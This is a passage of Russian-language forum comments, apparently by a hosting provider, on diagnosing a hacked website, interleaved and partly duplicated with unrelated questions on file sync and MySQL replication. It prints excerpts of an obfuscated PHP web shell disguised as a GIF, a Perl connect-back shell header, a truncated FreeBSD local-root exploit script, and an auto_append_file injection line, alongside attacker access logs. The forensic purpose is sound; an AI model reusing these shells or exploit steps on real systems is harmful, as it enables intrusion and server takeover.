А как с нагрузкой, были ли какие-то изменения, связанные с оптимизацией использования CPU, базы данных? В посте нашел только «В .htaccess настроено кэширование изображений, стилей и т.д.».
Вы знаете, я вряд ли смогу что-либо добавить к тому, что написал раньше. Статья, как ни странно это звучит, ориентирована на тех, кому она будет полезна. В ней описана быстрая схема поиска уязвимости, через которую был взломан сайт, более того — эта схема работает в большом количестве случаев. Этих действий достаточно для того, чтобы с большой вероятностью найти причину взлома. Последующие действия и профилактика зависят, как я уже писал раньше, в непосредственной заинтересованности администратора сайта. В статье раскрывается именно та тема, которая указана в заголовке, и не нужно искать в ней признаки курса по информационной безопасности — их нет.
Я добавил в статью советы по восстановлению сайта после взлома, которые описывал ранее.
За предложение написать совместную статью спасибо, отвечу в личку.
В комментарии повыше MO3G ответил по сути и конструктивно. Лично мне сложно ответить на Ваш комментарий, потому что после прочтения у меня не сложилось понимания, что именно Вы советуете делать вместо или дополнительно к тому, что описано в статье, но я все же попробую.
Когда сайт взломан, необходимо выяснить, через что это произошло. После определения причины сайт восстанавливается из резервной копии, чтобы исключить все то, что описано в приведенных Вами ссылках: замаскированные шеллы, добавления в базу данных, измененные исходники сайта. После восстановления из резервной копии компоненты сайта, через которые произошел взлом (а желательно, и все остальные), обновляются до последних версий, не содержащих уязвимостей. После этого можно снова открывать сайт для посетителей.
Если сайт продолжают взламывать, и найти причину не удается, скорее всего его взломали гораздо раньше, и на нем уже есть скрытый доступ. В этом случае необходимо установить чистую CMS и импортировать в нее данные.
Какие-либо дополнительные действия: изучение специальной литературы, игры в прятки с хакером, сбор коллекции обнаруженных шеллов/эксплойтов/скрытого кода зависит от непосредственной заинтересованности в этой теме администратора, работающего с сайтом, и выходит далеко за рамки статьи.
В комментарии Вы упомянули полезные скрипты и ПО для анализа логов — приведите, пожалуйста, ссылки на них, они будут хорошим дополнением к статье.
Случаи же, когда на сайте остается шелл и другие временные файлы, использованные для взлома, встречаются постоянно. Чтобы не быть голословным, приведу пример анализа взлома, зафиксированного вчера на одном из сайтов:
Обратите внимание, что в скрипте явно написано «Web Shell».
Backconnect на Perl в файле bc.pl, был запущен демоном:
#!/usr/bin/perl
use IO::Socket;
#IRAN HACKERS SABOTAGE Connect Back Shell
#code by:LorD
#We Are :LorD-C0d3r-NT
#Email:LorD@ihsteam.com
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
Явно написано Connect Back Shell, стиль написания и оформления текста… ммм… вызывает подозрения :)
И эксплойт для FreeBSD в файле program.c:
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
Довольно много сайтов, которые я видел, созданы для предоставления информации, а не для интерактивной работы. Часто это какой-нибудь сайт компании на Joomla. Авторизация, например, там есть, но посетителями она не используется, и блокировка POST ничего не изменит. Ну, может, голосования какое-то время не будут работать, несколько заказов пропустится, но это лучше, чем если посетитель сайта словит вирус, и гораздо лучше сообщения хрома «Сайт может нанести вред вашему компьютеру». А запросы POST тоже можно с красивой заглушкой отбивать.
В первую очередь необходимо было найти систему, которая позволила бы копировать изменения в файловой структуре данных сайта. Причем синхронизировать данные нужно во всех направлениях, то есть когда изменения в файлы сайта вносятся с любой точки geo-хостинга. Для решения этой задачи нами была выбрана программа Unison.
Насколько я смог осознать документацию по Unison, файлы обновляются не мгновенно — необходимо запускать unison по crontab. И работает он, проходя дерево файлов по одному и сравнивая состояние на двух серверах. Примерно как rsync, но только Unison двусторонний.
Как часто вы запускаете синхронизацию? Что если у пользователя 57 тысяч файлов (пример: Bitrix) — как долго она будет осуществляться?
Система работает таким образом, что владельцу сайта не нужно изменять работу веб-приложения для работы с распределенной архитектурой.
Правильно ли я понимаю, что mysql slave используется для работы с базой локально на гео-точке и применяется для получения данных (select), а master — для сохранения данных (insert/update/delete)? Каким образом без изменения работы приложения вы заставляете, например, phpBB работать описанным образом — разделяя операции получения и сохранения данных?
Так и сейчас просят. В принципе, всякими хитрыми путями, обращаясь напрямую к регистратору, удаётся домены вызволить — доставали .info, и .com. Но возни может быть на две-три недели, регистраторы тоже не особо быстро и доверчиво отвечают.
Я просто поражаюсь, честно. Функцию автоматического перевода поиска (ищешь «шаблоны zabbix», а находишь «zabbix templates») я ещё могу понять. Но сразу подсвечивать ответ на запрос… это круто, это просто очень круто.
Я добавил в статью советы по восстановлению сайта после взлома, которые описывал ранее.
За предложение написать совместную статью спасибо, отвечу в личку.
Кстати, было бы интересно узнать, какие Вы рекомендуете хостинги друзьям? Какую помощь при взломе сайтов они оказывают?
Когда сайт взломан, необходимо выяснить, через что это произошло. После определения причины сайт восстанавливается из резервной копии, чтобы исключить все то, что описано в приведенных Вами ссылках: замаскированные шеллы, добавления в базу данных, измененные исходники сайта. После восстановления из резервной копии компоненты сайта, через которые произошел взлом (а желательно, и все остальные), обновляются до последних версий, не содержащих уязвимостей. После этого можно снова открывать сайт для посетителей.
Если сайт продолжают взламывать, и найти причину не удается, скорее всего его взломали гораздо раньше, и на нем уже есть скрытый доступ. В этом случае необходимо установить чистую CMS и импортировать в нее данные.
Какие-либо дополнительные действия: изучение специальной литературы, игры в прятки с хакером, сбор коллекции обнаруженных шеллов/эксплойтов/скрытого кода зависит от непосредственной заинтересованности в этой теме администратора, работающего с сайтом, и выходит далеко за рамки статьи.
В комментарии Вы упомянули полезные скрипты и ПО для анализа логов — приведите, пожалуйста, ссылки на них, они будут хорошим дополнением к статье.
Случаи же, когда на сайте остается шелл и другие временные файлы, использованные для взлома, встречаются постоянно. Чтобы не быть голословным, приведу пример анализа взлома, зафиксированного вчера на одном из сайтов:
$ find ./ -mtime -4h
./images
./images/bc
./images/env
./images/bc.pl
./images/a22389d.php.27994
./images/env.c
./images/program.c
./images/program.o
./images/w00t.so.1.0
Жирным выделены PHP Shell и back connect на Perl.
PHP Shell, замаскированный под GIF, из файла a22389d.php.27994:
GIF89af^M
<?php # Web Shell by oRb^M
$auth_pass = "";^M
$color = "#df5";^M
$default_action = 'FilesMan';^M
$default_use_ajax = true;^M
$default_charset = 'Windows-1251';^M
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9Vcwmjf
Обратите внимание, что в скрипте явно написано «Web Shell».
Backconnect на Perl в файле bc.pl, был запущен демоном:
#!/usr/bin/perl
use IO::Socket;
#IRAN HACKERS SABOTAGE Connect Back Shell
#code by:LorD
#We Are :LorD-C0d3r-NT
#Email:LorD@ihsteam.com
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
Явно написано Connect Back Shell, стиль написания и оформления текста… ммм… вызывает подозрения :)
И эксплойт для FreeBSD в файле program.c:
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
// ... пропущено
environ=NULL;
system("echo G0T R00T!!!;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env
Выдержка из access.log, ищем по имени файла shell'а (имя сайта изменено):
$ grep -m 3 a22389d.php.27994 access.log
[21/Aug/2011:21:21:07 +0400] 200 66.148.113.109 sitename.ru GET /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:17 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:42 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
Ищем по IP-адресу взломщика:
$ grep 66.148.113.109 access.log
[21/Aug/2011:20:52:15 +0400] 200 66.148.113.109 sitename.ru GET /affiliate_affiliate.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:20:52:18 +0400] 200 66.148.113.109 sitename.ru GET /favicon.ico HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:20:56:49 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:20:56:52 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/css/style_tinybrowser.css.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:20:57:01 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/flexupload.swf HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:20:58 +0400] 200 66.148.113.109 sitename.ru POST //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/images/&type=image&feid=&obfuscate=c26d37c9924a95a0ab81ea044326180e&sessidpass= HTTP/1.1 "Shockwave Flash"
[21/Aug/2011:21:21:00 +0400] 302 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload_process.php?folder=/images/&type=image&feid=&filetotal=1 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:01 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload.php?type=image&feid=&folder=&badfiles=0&goodfiles=1&dupfiles=0 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:02 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/css/style_tinybrowser.css.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:07 +0400] 200 66.148.113.109 sitename.ru GET /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:17 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
Взлом произведен через устаревший TinyBrowser. Последние две строки — уже работа с PHP Shell.
php_value auto_append_file /путь/к/вирусу
Много способов добавления вируса бывает, веселых и разных.
Насколько я смог осознать документацию по Unison, файлы обновляются не мгновенно — необходимо запускать unison по crontab. И работает он, проходя дерево файлов по одному и сравнивая состояние на двух серверах. Примерно как rsync, но только Unison двусторонний.
Как часто вы запускаете синхронизацию? Что если у пользователя 57 тысяч файлов (пример: Bitrix) — как долго она будет осуществляться?
Правильно ли я понимаю, что mysql slave используется для работы с базой локально на гео-точке и применяется для получения данных (select), а master — для сохранения данных (insert/update/delete)? Каким образом без изменения работы приложения вы заставляете, например, phpBB работать описанным образом — разделяя операции получения и сохранения данных?
Спасибо.
p. s. Автор, поправьте «стабилная».